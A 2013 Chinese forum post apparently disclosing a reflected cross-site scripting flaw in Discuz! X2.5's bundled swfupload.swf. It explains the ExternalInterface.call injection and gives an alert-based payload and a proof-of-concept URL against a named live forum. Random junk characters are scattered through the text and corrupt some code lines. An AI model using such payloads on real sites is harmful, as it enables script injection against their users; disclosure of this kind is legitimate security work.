找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2268|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
上回我们说
0 E& ]2 {6 u) m
' X; k' L0 V3 v+ hflash.external.ExternalInterface.call($methodName, $parameter)5 Y) b. I1 s& X# ]' Z1 X
在浏览器中执行的是& [. t, A' {/ j( t, Y- Q4 ?( B; {
3 @9 f5 O- l" }
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
! \( M" \  h/ @对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
0 c/ Q6 c1 s1 L$ {  [! b; m& D" l- z
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
3 m6 Z) k+ d) R0 W8 E1 O$ d$methodName = a())}catch(e){alert(/xss/)}//7 z$ }; M3 u+ d* Y
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
0 k, u$ v. H& Y' K- y4 V! r$ F. m9 D, Y/ X  e9 e- D6 V1 M1 t
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }4 n( b; i! |+ N3 k, `

% K- z" q: [) q1 g这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
% B! j" b+ Z& o+ r* i杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。3 p! j# O3 m. e

- i" h6 [7 i- w/ K. R
8 t" _! r2 f+ `2 F1 x# L+ z
5 c" {4 O0 r- ]0 F- `漏洞文件:upload\static\image\common\swfupload.swf( R1 M! [3 E# C: V' {+ z
" ]* p+ T2 r1 [4 ]2 |4 z
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf3 R" B6 a# Q8 p. d5 _

3 H' V3 N' C6 B* {% t) \
2 ~/ H- Q" H* E: w漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//' Q+ U/ b6 j/ A% Z2 [
  d) e7 R" O. \$ I
- e2 X+ r  k. u9 p& i7 h4 w) t* S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表